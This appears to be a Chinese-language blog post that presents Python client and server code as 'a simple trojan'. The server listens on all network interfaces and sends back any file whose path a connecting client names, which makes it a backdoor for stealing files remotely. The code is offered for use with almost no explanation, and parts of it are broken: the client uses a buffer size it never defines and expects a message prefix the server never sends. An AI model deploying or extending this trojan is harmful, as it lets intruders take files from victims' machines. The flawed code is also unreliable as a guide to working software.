一个简单的木马程序
绝大多数的木马程序都是基于Socket来实现的
废话少说直接上代码!
代码:
client部分:
# -*- coding: UTF-8 -*-
import socket
import sys
import re
import os
class Client:
def __init__(self, serverIp, serverPort):
self.serverIp = serverIp # 待连接的远程主机的域名
self.serverPort = serverPort
def connet(self): # 连接方法
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except socket.error as e:
print("Failed to create socket. Error: %s" % e)
try:
s.connect((self.serverIp, self.serverPort))
while True:
message = input('> ') # 接收用户输入
if not message:
break
s.send(bytes(message, 'utf-8')) # 发送命令
data = s.recv(self.bufferSize) # 接收数据
if not data:
break
if re.search("^0001", data.decode('utf-8', 'ignore')): # 判断数据类型
print(data.decode('utf-8')[4:])
else: # 文件内容处理
s.send("File size received".encode()) # 通知服务端可以发送文件了
file_total_size = int(data.decode()) # 总大小
received_size = 0
f = open("new" + os.path.split(message)[-1], "wb") # 创建文件
while received_size < file_total_size:
data = s.recv(self.bufferSize)
f.write(data) # 写文件
received_size += len(data) # 累加接收长度
print("已接收:", received_size)
f.close() # 关闭文件
print("receive done", file_total_size, " ", received_size)
except socket.error:
s.close()
raise # 退出进程
finally:
s.close()
if __name__ == '__main__':
cl = Client('127.0.0.1', 8800)
cl.connet()
sys.exit() # 退出进程
server部分:
# -*- coding: UTF-8 -*-
import socket
import sys
import os
class server:
def __init__(self, ip, port):
self.port = port
self.ip = ip
self.bufferSize = 10240
def start(self): # 启动监听,接收数据
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.bind((self.ip, self.port)) # 绑定
s.listen(10) # 监听
print('等待客户端连接')
while True: # 一直等待新的连接
try:
conn, addr = s.accept() # 接收连接
print('客户端连接 ' + addr[0] + ':' + str(addr[1]))
while True: # 保持长连接
data = conn.recv(self.bufferSize)#接收数据
if not data:#断开连接时退出当前循环
break
else:
self.executeCommand(conn,data)
conn.close()#关闭当前连接
except socket.error as e:
print(e)
conn.close() # 关闭连接
finally:
s.close() # 关闭服务端
def executeCommand(self, tcpCliSock, data): # 解析并执行命令
try:#
message = data.decode("utf-8")
if os.path.isfile(message):#判断是否是文件
filesize = str(os.path.getsize(message))#获取文件大小
print("文件大小为:",filesize)
tcpCliSock.send(filesize.encode())#发送文件大小
data = tcpCliSock.recv(self.bufferSize)
print("开始发送")
f = open(message, "rb")#打开文件
for line in f:
tcpCliSock.send(line)#发送文件内容
except:
raise
if __name__ == '__main__':
s = server('', 8800)
s.start()
